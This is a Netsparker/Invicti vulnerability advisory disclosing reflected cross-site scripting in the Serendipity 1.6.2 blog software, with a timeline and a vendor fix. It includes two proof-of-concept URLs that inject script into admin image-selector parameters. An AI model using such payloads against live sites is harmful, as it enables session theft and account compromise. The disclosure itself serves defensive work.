XSS Vulnerabilities in Serendipity

Information

Advisory by Netsparker (now Invicti)
Name:  XSS Vulnerabilities in Serendipity
Software:  Serendipity 1.6.2 and possibly below.
Vendor Homepage:  http://www.s9y.org/
Vulnerability Type:  Cross-Site Scripting
Severity:  Medium
Researcher:  Omar Kurt
Advisory Reference:  NS-13-003

Description

Serendipity is a PHP-powered weblog application that gives the user an easy way to maintain an online diary, weblog, or even a complete homepage. While the default package is designed for the casual blogger, Serendipity offers a flexible, expandable, and easy-to-use framework with the power for professional applications.

Details

Serendipity is affected by XSS vulnerabilities in version 1.6.2.

  • http://example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117
    &serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
    &serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
  • http://example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117
    &serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
    &serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117

You can read the full article about Cross-Site Scripting from here:

Solution

The vendor fixed this vulnerability in the new version. Please see the references.

Advisory Timeline

26/02/2013 – First contact
04/03/2013 – Sent the details
12/07/2013 – Advisory released

Credits

It has been discovered on testing It has been discovered on testing of Invicti Web Application Security Scanner.

References

  1. MSL Advisory Link: /xss-vulnerabilities-in-serendipity/
  2. Invicti Advisories: /web-applications-advisories/

About Invicti

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